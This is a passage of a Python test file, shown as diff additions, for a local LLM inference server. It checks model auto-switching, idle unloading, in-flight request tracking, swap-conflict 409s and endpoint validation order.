so the auto-switch hook must come after the input-validation guard. + import inspect + + src = inspect.getsource(inference_route.openai_responses) + assert "No input provided" in src + assert src.index("No input provided") < src.index("_maybe_auto_switch_model") + + +def test_responses_system_only_rejected_before_switch(monkeypatch): + # Codex P2: instructions-only input normalises to a lone system message, which + # passes the empty-input check; it must 400 before the switch so an invalid + # Responses request can't evict the resident model. + from fastapi import HTTPException + from models.inference import ResponsesRequest + + async def _boom(*a, **k): + raise AssertionError("must not switch a system-only Responses request") + + monkeypatch.setattr(inference_route, "_maybe_auto_switch_model", _boom) + payload = ResponsesRequest(model = "org/B-GGUF", instructions = "be helpful", input = "") + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_responses(payload, object(), "tester")) + assert exc.value.status_code == 400 + + +def test_keepwarm_tracks_inflight_when_enabled_even_if_idle_zero(monkeypatch): + # In-flight must be counted whenever auto-switch is on, even with idle TTL 0, + # so enabling idle mid-stream cannot unload an in-flight request. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + kw._inflight = 0 + seen = {} + + async def app(scope, receive, send): + seen["inflight"] = kw._inflight + await send({"type": "http.response.start", "status": 200, "headers": []}) + await send({"type": "http.response.body", "body": b"ok", "more_body": False}) + + async def drive(): + async def receive(): + return {"type": "http.request", "body": b"", "more_body": False} + + async def send(_m): + pass + + scope = {"type": "http", "path": "/v1/chat/completions", "method": "POST", "headers": []} + await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) + + asyncio.run(drive()) + assert seen["inflight"] == 1 # counted despite idle TTL being 0 + assert kw._inflight == 0 # balanced after completion + + +# ── review follow-ups: OFF-state body, swap guard, alias reload, always-track ── + + +def _bad_body_request(): + import json as _json + class _BadReq: + async def json(self): + raise _json.JSONDecodeError("expecting value", "", 0) + + return _BadReq() + + +def test_completions_malformed_body_503_not_500_when_unloaded(monkeypatch): + # OFF + nothing loaded + unparseable body must still 503 (pre-feature + # behavior), not 500 from the early body read. + from fastapi import HTTPException + + backend = _FakeBackend(None) + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_completions(_bad_body_request(), "tester")) + assert exc.value.status_code == 503 + + +def test_embeddings_malformed_body_503_not_500_when_unloaded(monkeypatch): + from fastapi import HTTPException + + backend = _FakeBackend(None) + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_embeddings(_bad_body_request(), "tester")) + assert exc.value.status_code == 503 + + +def test_non_string_model_falls_through_without_error(monkeypatch): + # A non-string model (e.g. {"model": 123} on a raw-body endpoint) must be + # treated as absent, never raising in the membership checks, even when a stash + # exists from idle-unload. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", None)) + asyncio.run(inference_route._maybe_auto_switch_model(123, object(), "tester")) + assert rec.calls == [] # no load, no TypeError + + +def test_anthropic_validates_max_tokens_before_auto_switch(): + # An Anthropic request missing max_tokens must 400 before the hook runs, so an + # invalid request never triggers a model load. Asserted on the source order. + import inspect + + src = inspect.getsource(inference_route.anthropic_messages) + assert "_maybe_auto_switch_model" in src + assert src.index("max_tokens: field required") < src.index("_maybe_auto_switch_model") + + +def test_alias_reloads_model_freed_by_idle_unload_with_quant(monkeypatch): + # After idle-unload frees the model, an unknown/alias name (resolves to None) + # reloads what was freed, including the exact quant, instead of 503-ing. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the backend + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", "Q4_K_M")) + _run_hook("gpt-4o-mini") + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "unsloth/A-GGUF" + assert rec.calls[0].gguf_variant == "Q4_K_M" # exact freed quant restored + + +def test_alias_does_not_reload_when_model_already_loaded(monkeypatch): + # The reload only triggers on an empty backend; with something loaded, an + # unknown name still falls through (drop-in) without resurrecting the stash. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("unsloth/B-GGUF") + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_last_unloaded_model", ("unsloth/A-GGUF", None)) + _run_hook("gpt-4o-mini") + assert rec.calls == [] + + +def test_idle_loop_does_not_unload_while_request_pending(monkeypatch): + # A request that has marked itself pending (waiting on the unload gate) but not + # yet started must keep the idle loop from unloading the model. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_pending", 0) + monkeypatch.setattr(kw, "_last_active", 0.0) # far past any TTL + kw._note_pending() + try: + assert kw._is_idle(1.0) is False # pending request blocks unload + finally: + kw._note_unpending() + assert kw._is_idle(1.0) is True # cleared once it is no longer pending + + +def test_keepwarm_tracks_inflight_even_when_auto_switch_off(monkeypatch): + # A stream that starts while the feature is OFF must still be counted, so + # enabling idle-unload mid-stream cannot unload it. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + monkeypatch.setattr(kw, "_inflight", 0) + seen = {} + + async def app(scope, receive, send): + seen["inflight"] = kw._inflight + await send({"type": "http.response.start", "status": 200, "headers": []}) + await send({"type": "http.response.body", "body": b"ok", "more_body": False}) + + async def drive(): + async def receive(): + return {"type": "http.request", "body": b"", "more_body": False} + + async def send(_m): + pass + + scope = {"type": "http", "path": "/v1/chat/completions", "method": "POST", "headers": []} + await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) + + asyncio.run(drive()) + assert seen["inflight"] == 1 # tracked despite the feature being off + assert kw._inflight == 0 + + +def test_build_index_covers_legacy_default_lmstudio_and_custom_roots(monkeypatch, tmp_path): + # _build_index must scan the same roots the model picker lists, else a model + # the UI shows is silently served as the loaded one. Verify each is consulted. + from pathlib import Path + import routes.models as models_route + from utils import paths as upaths + import storage.studio_db as studio_db + + scanned = [] + monkeypatch.setattr( + models_route, + "_scan_models_dir", + lambda d, limit = None: scanned.append(("models", str(Path(d).resolve()))) or [], + ) + monkeypatch.setattr( + models_route, + "_scan_hf_cache", + lambda d: scanned.append(("hf", str(Path(d).resolve()))) or [], + ) + monkeypatch.setattr( + models_route, + "_scan_lmstudio_dir", + lambda d: scanned.append(("lm", str(Path(d).resolve()))) or [], + ) + monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path / "active") + monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False) + monkeypatch.setattr(upaths, "legacy_hf_cache_dir", lambda: tmp_path / "legacy") + monkeypatch.setattr(upaths, "hf_default_cache_dir", lambda: tmp_path / "default") + monkeypatch.setattr(upaths, "lmstudio_model_dirs", lambda: [tmp_path / "lmstudio"]) + monkeypatch.setattr( + studio_db, "list_scan_folders", lambda: [{"path": str(tmp_path / "custom")}] + ) + for sub in ("active", "legacy", "default", "lmstudio", "custom"): + (tmp_path / sub).mkdir() + + resolver._build_index() + + hf = {p for k, p in scanned if k == "hf"} + lm = {p for k, p in scanned if k == "lm"} + assert str((tmp_path / "legacy").resolve()) in hf + assert str((tmp_path / "default").resolve()) in hf + assert str((tmp_path / "custom").resolve()) in hf + assert str((tmp_path / "lmstudio").resolve()) in lm + + +# ── gemini round: list-body 400, non-POST not tracked ── + + +def _json_body_request(payload): + class _Req: + async def json(self): + return payload + + return _Req() + + +def test_completions_list_body_is_400_not_500(monkeypatch): + # A valid JSON non-dict body (e.g. a list) on a loaded backend is a clean 400, + # not a 500 from body.get(...). + from fastapi import HTTPException + + backend = _FakeBackend("unsloth/A-GGUF") # loaded + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_completions(_json_body_request([]), "tester")) + assert exc.value.status_code == 400 + + +def test_embeddings_list_body_is_400_not_500(monkeypatch): + from fastapi import HTTPException + + backend = _FakeBackend("unsloth/A-GGUF") + _wire( + monkeypatch, + enabled = False, + resolves_to = None, + backend = backend, + recorder = _LoadRecorder(backend), + ) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.openai_embeddings(_json_body_request([]), "tester")) + assert exc.value.status_code == 400 + + +def test_middleware_ignores_non_post(monkeypatch): + # CORS preflight (OPTIONS) on an inference path must not be tracked as in-flight. + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(kw, "_inflight", 0) + seen = {} + + async def app(scope, receive, send): + seen["inflight"] = kw._inflight + await send({"type": "http.response.start", "status": 200, "headers": []}) + await send({"type": "http.response.body", "body": b"", "more_body": False}) + + async def drive(): + async def receive(): + return {"type": "http.request", "body": b"", "more_body": False} + + async def send(_m): + pass + + scope = {"type": "http", "path": "/v1/chat/completions", "method": "OPTIONS", "headers": []} + await kw.LlamaKeepWarmMiddleware(app)(scope, receive, send) + + asyncio.run(drive()) + assert seen["inflight"] == 0 # OPTIONS not counted + assert kw._inflight == 0 + + +# ── review round 4: swap guard, idle variant identity, load-by-path, stash clear ── + + +def test_auto_switch_refuses_when_another_inference_is_active(monkeypatch): + # A cross-model swap must 409 (not kill) while another inference request is in + # flight; the requesting call itself is excluded from the count. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # this request + another active one + monkeypatch.setattr(kw, "_pending", 0) + with pytest.raises(HTTPException) as exc: + _run_hook("org/B-GGUF:Q8_0") + assert exc.value.status_code == 409 + assert rec.calls == [] + + +def test_auto_switch_swaps_when_only_caller_is_active(monkeypatch): + # Only the caller is in flight: nothing else to protect, so the swap proceeds. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", None, "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_pending", 0) + _run_hook("org/B-GGUF") + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/p/B" # concrete local path, not the repo id + + +def test_idle_loop_resets_timer_for_same_repo_different_variant(monkeypatch): + # Same repo, different quant counts as a fresh model: the idle timer resets, so + # the new variant is not unloaded before one TTL of its own. + import time + from core.inference import llama_keepwarm as kw + + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.05) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_pending", 0) + + unloads = [] + backend = _FakeBackend("org/model-GGUF", hf_variant = "Q4_K_M") + backend.unload_model = lambda: unloads.append(1) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + + async def _drive(): + task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01)) + await asyncio.sleep(0.03) + assert unloads == [] + kw._last_active = time.monotonic() - 60 # force idle + backend.hf_variant = "Q8_0" # same id, new quant -> fresh identity + await asyncio.sleep(0.03) + assert unloads == [] # timer reset by the variant change, not unloaded + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + + asyncio.run(_drive()) + + +def test_generate_stream_is_tracked_as_inference_path(): + from core.inference.llama_keepwarm import _is_inference_path + + assert _is_inference_path("/api/inference/generate/stream") is True + assert _is_inference_path("/api/inference/audio/generate") is True + assert _is_inference_path("/v1/responses") is True + + +def test_successful_manual_load_clears_last_unloaded_stash(): + from core.inference import llama_keepwarm as kw + + kw._set_last_unloaded(("org/A-GGUF", "Q4_K_M")) + assert kw.get_last_unloaded_model() == ("org/A-GGUF", "Q4_K_M") + kw.note_model_loaded() + assert kw.get_last_unloaded_model() is None + + +def test_hf_cache_entry_loads_from_local_snapshot_path(tmp_path): + # An HF-cache repo resolves to its on-disk snapshot dir, so /load takes the + # local branch (no repo-id download). loader_id stays the repo id. + from types import SimpleNamespace + + repo = tmp_path / "models--org--Repo" + snap = repo / "snapshots" / "abc123" + snap.mkdir(parents = True) + (snap / "model-Q4_K_M.gguf").write_bytes(b"GGUF stub") + + entry = resolver._local_gguf_entry("org/Repo", SimpleNamespace(id = "org/Repo", path = str(repo))) + assert entry is not None + assert entry.loader_id == "org/Repo" # advertised id unchanged + assert "snapshots" in entry.load_path # loads from the concrete snapshot dir + assert entry.load_path != "org/Repo" # never the bare repo id + assert entry.variants # quant detected on disk + + +# ── review round 5: concurrent-swap, repo-id identity, /v1/models id, gate, 503 ── + + +def test_already_loaded_by_repo_id_is_not_reswapped(monkeypatch): + # A model loaded normally has model_identifier == repo id, but the resolver + # returns the concrete load path. A request for that repo must count as already + # serving (no reload, no 409) even with another inference active. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/Repo-GGUF", hf_variant = "Q4_K_M") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/cache/models--org--Repo-GGUF/snapshots/abc", "Q4_K_M", "org/Repo-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) + monkeypatch.setattr(kw, "_pending", 0) + _run_hook("org/Repo-GGUF:Q4_K_M") # exact quant + _run_hook("org/Repo-GGUF") # bare id + assert rec.calls == [] + + +def test_auto_switch_advertises_repo_id_after_load(monkeypatch): + # After a load-by-path, the backend advertises the repo id (override key), not + # the concrete path, so /v1/models and the idle stash stay name-based. + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B-snapshot", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + _run_hook("org/B-GGUF:Q8_0") + assert rec.calls[0].model_path == "/p/B-snapshot" # loaded by concrete path + assert backend._openai_advertised_id == "org/B-GGUF" # advertised by repo id + + +def test_already_serving_by_path_records_advertised_alias(monkeypatch): + # Codex P2: a model loaded by local path and requested via an advertised alias + # that resolves to the same path is already serving (no reload), but /v1/models + # and responses would report the path basename and list the alias as loaded:false + # unless the alias is recorded as the advertised id on the already-serving return. + path = "/cache/models--org--Repo-GGUF/snapshots/abc" + backend = _FakeBackend(path, hf_variant = "Q4_K_M") # loaded by path, no advertised id + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = (path, "Q4_K_M", "org/Repo-GGUF"), + backend = backend, + recorder = rec, + ) + assert backend._openai_advertised_id is None + _run_hook("org/Repo-GGUF:Q4_K_M") + assert rec.calls == [] # already serving -> no reload + assert backend._openai_advertised_id == "org/Repo-GGUF" # alias now recorded + + +def test_streaming_responses_uses_advertised_id_helper(): + # Codex P2: streamed /v1/responses envelopes must derive the model id from + # _llama_public_model_id (which prefers _openai_advertised_id), not the raw + # model_identifier. After an auto-switch to a cached HF GGUF the identifier is + # the snapshot path while the repo id lives in _openai_advertised_id, so the raw + # form would stream a snapshot basename while /v1/models, chat, and non-streaming + # responses report the repo id. + import inspect + + src = inspect.getsource(inference_route._responses_stream) + assert "_clean_model = _llama_public_model_id(llama_backend" in src + assert 'public_model_id(getattr(llama_backend, "model_identifier"' not in src + + +def test_concurrent_same_target_requests_load_once(monkeypatch): + # Two concurrent requests for the same unloaded model must load once, not each + # 409 the other. Simulate the second request already waiting (registered) while + # the first runs the hook with _inflight counting both. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # both same-target requests counted + monkeypatch.setattr(kw, "_pending", 0) + inference_route._note_switch_waiter(inference_route._switch_key("org/B-GGUF", "Q8_0"), 1) + _run_hook("org/B-GGUF:Q8_0") + assert len(rec.calls) == 1 # loads once, no 409 + + +def test_swap_still_refused_when_other_request_targets_different_model(monkeypatch): + # A concurrent request heading to a different target still blocks the swap: the + # same-target exclusion must not swallow a genuinely conflicting request. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) + monkeypatch.setattr(kw, "_pending", 0) + inference_route._note_switch_waiter(inference_route._switch_key("org/C-GGUF", "Q4_K_M"), 1) + with pytest.raises(HTTPException) as exc: + _run_hook("org/B-GGUF:Q8_0") + assert exc.value.status_code == 409 + assert rec.calls == [] + + +def test_v1_models_advertises_repo_id_not_load_path(monkeypatch): + # /v1/models must report the advertised repo id, never the host load path. + from types import SimpleNamespace + + llama = _FakeBackend("/cache/models--org--Repo/snapshots/abc") + llama._openai_advertised_id = "org/Repo-GGUF" + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: llama) + monkeypatch.setattr( + inference_route, "get_inference_backend", lambda: SimpleNamespace(active_model_name = None) + ) + objects = inference_route._openai_model_objects() + assert [o["id"] for o in objects] == ["org/Repo-GGUF"] + + +def test_idle_alias_reload_preserves_override_via_advertised_id(monkeypatch): + # The idle stash carries (load_path, quant, advertised_id). An alias reload must + # look up the override by the advertised repo id, not the concrete load path, + # so the user's saved launch flags survive the unload/reload. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the slot + rec = _LoadRecorder(backend) + _wire(monkeypatch, enabled = True, resolves_to = None, backend = backend, recorder = rec) + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + overrides = {"org/A-GGUF": {"max_seq_length": 8192}} + monkeypatch.setattr(settings, "get_model_override", lambda mid: overrides.get(mid, {})) + _run_hook("gpt-4o-mini") + assert rec.calls[0].model_path == "/cache/snap/A" # reloads the freed path + assert rec.calls[0].gguf_variant == "Q4_K_M" + assert rec.calls[0].max_seq_length == 8192 # override keyed by repo id, not path + + +def test_load_route_holds_lifecycle_gate(monkeypatch): + # Lock the manual /load gate against silent revert: the route must wrap the + # load in inference_lifecycle_gate so idle-unload can't fire mid-load. + import inspect + + src = inspect.getsource(inference_route.load_model) + assert "inference_lifecycle_gate" in src + assert "_load_model_impl" in src + + +def _anthropic_payload(max_tokens = None): + from models.inference import AnthropicMessagesRequest, AnthropicMessage + return AnthropicMessagesRequest( + model = "claude-x", + max_tokens = max_tokens, + messages = [AnthropicMessage(role = "user", content = "hi")], + ) + + +def test_anthropic_503_when_unloaded_and_auto_switch_off(monkeypatch): + # Default-off parity: unloaded backend + auto-switch off 503s before the + # max_tokens 400, exactly as the pre-feature endpoint did. + from fastapi import HTTPException + + backend = _FakeBackend(None) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(_anthropic_payload(), object(), "tester")) + assert exc.value.status_code == 503 + + +def test_anthropic_400_when_auto_switch_on_and_max_tokens_missing(monkeypatch): + # With auto-switch on, request-shape validation runs first: a missing + # max_tokens still 400s before any load is attempted. + from fastapi import HTTPException + + backend = _FakeBackend(None) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + with pytest.raises(HTTPException) as exc: + asyncio.run(inference_route.anthropic_messages(_anthropic_payload(), object(), "tester")) + assert exc.value.status_code == 400 + + +# ── review round 6: concurrency ordering, external untrack, unload gate, ids ── + + +def test_pending_same_target_request_does_not_force_409(monkeypatch): + # A second same-target request blocked in the middleware (pending, not yet + # generating) must not make the first request 409: pending is excluded. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 1) # just the caller + monkeypatch.setattr(kw, "_pending", 1) # second request blocked in middleware + _run_hook("org/B-GGUF:Q8_0") + assert len(rec.calls) == 1 # loads once, no 409 + + +def test_concurrent_same_target_loads_once_while_other_still_resolving(monkeypatch): + # The real middleware counts a concurrent same-model request as in-flight + # before it resolves and registers a target waiter. The raw-request waiter, + # registered before resolve, must still exclude it so the first request loads. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend("org/A-GGUF") + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # caller + a still-resolving twin + monkeypatch.setattr(kw, "_pending", 0) + # The twin has only registered its raw requested model (not yet a target waiter). + inference_route._note_request_waiter(inference_route._request_waiter_key("org/B-GGUF:Q8_0"), 1) + _run_hook("org/B-GGUF:Q8_0") + assert len(rec.calls) == 1 # loads once, no 409 + + +def test_external_untrack_decrements_inflight_and_is_idempotent(): + from core.inference import llama_keepwarm as kw + + kw._inflight = 2 + scope = {"type": "http"} + kw.untrack_current_request(scope) + assert kw._inflight == 1 + assert scope.get(kw._UNTRACKED_SCOPE_KEY) is True + kw.untrack_current_request(scope) # idempotent: no further decrement + assert kw._inflight == 1 + kw._inflight = 0 + + +def test_manual_unload_interrupts_even_while_inference_active(monkeypatch): + # A manual /unload is a deliberate action: it tears down immediately even with + # a request in flight (only the automatic idle loop defers). No 409. + from core.inference import llama_keepwarm as kw + from models.inference import UnloadRequest + + backend = _FakeBackend("org/A-GGUF") + backend.is_active = True + backend.unload_model = lambda: setattr(backend, "is_loaded", False) + monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend) + monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False) + monkeypatch.setattr(kw, "_inflight", 1) # another request streaming + monkeypatch.setattr(kw, "_pending", 0) + resp = asyncio.run( + inference_route.unload_model(UnloadRequest(model_path = "org/A-GGUF"), "tester") + ) + assert resp.status == "unloaded" + assert not backend.is_loaded # torn down despite the active request + + +def test_auto_switch_refuses_when_unsloth_stream_active(monkeypatch): + # The GGUF slot is empty but an Unsloth model is streaming (counted in-flight). + # _load_model_impl would unload it, so auto-switch must 409, not only when a + # GGUF is loaded. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # no GGUF loaded + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = True, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(kw, "_inflight", 2) # an Unsloth stream + this request + monkeypatch.setattr(kw, "_pending", 0) + with pytest.raises(HTTPException) as exc: + _run_hook("org/B-GGUF:Q8_0") + assert exc.value.status_code == 409 + assert rec.calls == [] # the active Unsloth model is not torn down + + +def test_public_model_id_prefers_advertised_over_path(): + backend = _FakeBackend("/cache/models--org--Repo/snapshots/abc/model.gguf") + backend._openai_advertised_id = "org/Repo-GGUF" + # The advertised repo id from an auto-switch load wins. + assert inference_route._llama_public_model_id(backend) == "org/Repo-GGUF" + backend._openai_advertised_id = None + # No advertised id: the identifier is cleaned to a public id (delegates to + # public_model_id), never the raw on-disk .gguf path. + cleaned = inference_route._llama_public_model_id(backend) + assert cleaned and "/cache/" not in cleaned and not cleaned.endswith(".gguf") + # An already-clean repo id passes through unchanged. + backend.model_identifier = "org/Repo-GGUF" + assert inference_route._llama_public_model_id(backend) == "org/Repo-GGUF" + backend.model_identifier = None + assert inference_route._llama_public_model_id(backend, "req") == "req" + + +def test_chat_validates_non_system_message_before_auto_switch(): + # A system-only chat must be rejected before the hook so an invalid request + # never swaps the resident model. Asserted on source order. + import inspect + src = inspect.getsource(inference_route.openai_chat_completions) + assert src.index("At least one non-system message is required.") < src.index( + "_maybe_auto_switch_model" + ) + + +def test_chat_untracks_external_provider_before_proxy(): + # The external-provider branch must untrack the request before proxying so its + # stream can't block a concurrent local auto-switch. + import inspect + src = inspect.getsource(inference_route.openai_chat_completions) + assert src.index("untrack_current_request") < src.index("_proxy_to_external_provider") + + +# ── round 7: API-initiated training defers to active inference, UI does not ── + + +def test_authenticated_via_api_key_detects_key_vs_session(): + from fastapi.security import HTTPAuthorizationCredentials + from auth.authentication import authenticated_via_api_key, API_KEY_PREFIX + + key = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = API_KEY_PREFIX + "abc") + jwt = HTTPAuthorizationCredentials(scheme = "Bearer", credentials = "eyJhbGciOiJ.session") + assert asyncio.run(authenticated_via_api_key(key)) is True + assert asyncio.run(authenticated_via_api_key(jwt)) is False + + +def _training_request(): + from models.training import TrainingStartRequest + return TrainingStartRequest( + model_name = "unsloth/test", training_type = "LoRA/QLoRA", format_type = "alpaca" + ) + + +def test_api_training_refused_while_inference_active(monkeypatch): + # API-key caller: training is refused with 409 while a request streams, so it + # can't free VRAM by unloading the chat model out from under the stream. + from fastapi import HTTPException + from core.inference import llama_keepwarm as kw + import routes.training as training_route + + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_pending", 0) + with pytest.raises(HTTPException) as exc: + asyncio.run( + training_route.start_training( + _training_request(), current_subject = "t", via_api_key = True + ) + ) + assert exc.value.status_code == 409 + + +def test_ui_training_not_blocked_by_active_inference(monkeypatch): + # UI (session auth) caller: the API guard is skipped, so training proceeds past + # it even with inference active (here it hits the normal already-active path). + from types import SimpleNamespace + from core.inference import llama_keepwarm as kw + import routes.training as training_route + + monkeypatch.setattr(kw, "_inflight", 1) + monkeypatch.setattr(kw, "_pending", 0) + fake = SimpleNamespace(is_training_active = lambda: True, current_job_id = "job-1") + monkeypatch.setattr(training_route, "get_training_backend", lambda: fake) + resp = asyncio.run( + training_route.start_training(_training_request(), current_subject = "t", via_api_key = False) + ) + assert resp.status == "error" and "already" in (resp.error or "").lower() + + +# ── UNSLOTH_MODEL_IDLE_TTL env override (borrowed from PR 6517) ── + + +def test_env_idle_ttl_standalone_when_no_stored_value(monkeypatch): + # With nothing stored, the env var enables idle-unload even while auto-switch + # is off (headless/ops default), and the UI reader reflects it. + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: d) # nothing stored + monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "600") + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + assert settings.get_auto_unload_idle_seconds() == 600 + assert settings.get_stored_auto_unload_idle_seconds() == 600 + + +def test_stored_idle_value_overrides_env_and_stays_gated(monkeypatch): + # An explicit stored value wins over the env default and remains gated on the + # auto-switch toggle. + store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 30} + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d)) + monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "600") + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True) + assert settings.get_auto_unload_idle_seconds() == 30 # stored wins, not env + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + assert settings.get_auto_unload_idle_seconds() == 0 # explicit value still gated off + + +def test_env_idle_ttl_invalid_is_ignored(monkeypatch): + monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: d) + monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False) + monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "not-a-number") + assert settings.get_auto_unload_idle_seconds() == 0 + monkeypatch.delenv("UNSLOTH_MODEL_IDLE_TTL", raising = False) + assert settings.get_auto_unload_idle_seconds() == 0 + + +# ── codex/gemini round: standalone-idle reload, path-as-id, embeddings input, retrieve id ── + + +def test_env_idle_standalone_reloads_freed_model_with_auto_switch_off(monkeypatch): + # C3: a standalone UNSLOTH_MODEL_IDLE_TTL (auto-switch OFF) freed the model on + # idle; the next request must restore exactly what was freed even though the + # resolver never runs while auto-switch is off. + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) # idle-unload emptied the slot + rec = _LoadRecorder(backend) + _wire( + monkeypatch, + enabled = False, + resolves_to = ("/p/B", "Q8_0", "org/B-GGUF"), # would switch if resolver ran + backend = backend, + recorder = rec, + ) + monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 600) # standalone env TTL + monkeypatch.setattr(kw, "_inflight", 0) + monkeypatch.setattr(kw, "_last_unloaded_model", ("/cache/snap/A", "Q4_K_M", "org/A-GGUF")) + _run_hook("org/B-GGUF") + # Resolver skipped (auto-switch off), so only the stash reload runs: the freed A + # is restored, not the resolves_to target B. + assert len(rec.calls) == 1 + assert rec.calls[0].model_path == "/cache/snap/A" + assert rec.calls[0].gguf_variant == "Q4_K_M" + + +def test_no_stash_reload_when_idle_off_and_auto_switch_off(monkeypatch): + # C3 guard: with both auto-switch and idle-unload off the hook is a pure no-op + # and must not resurrect a stashed model (that path only serves the idle feature). + from core.inference import llama_keepwarm as kw + + backend = _FakeBackend(None) + rec = _LoadRecorder(backend) + _wire(monkeypatch, 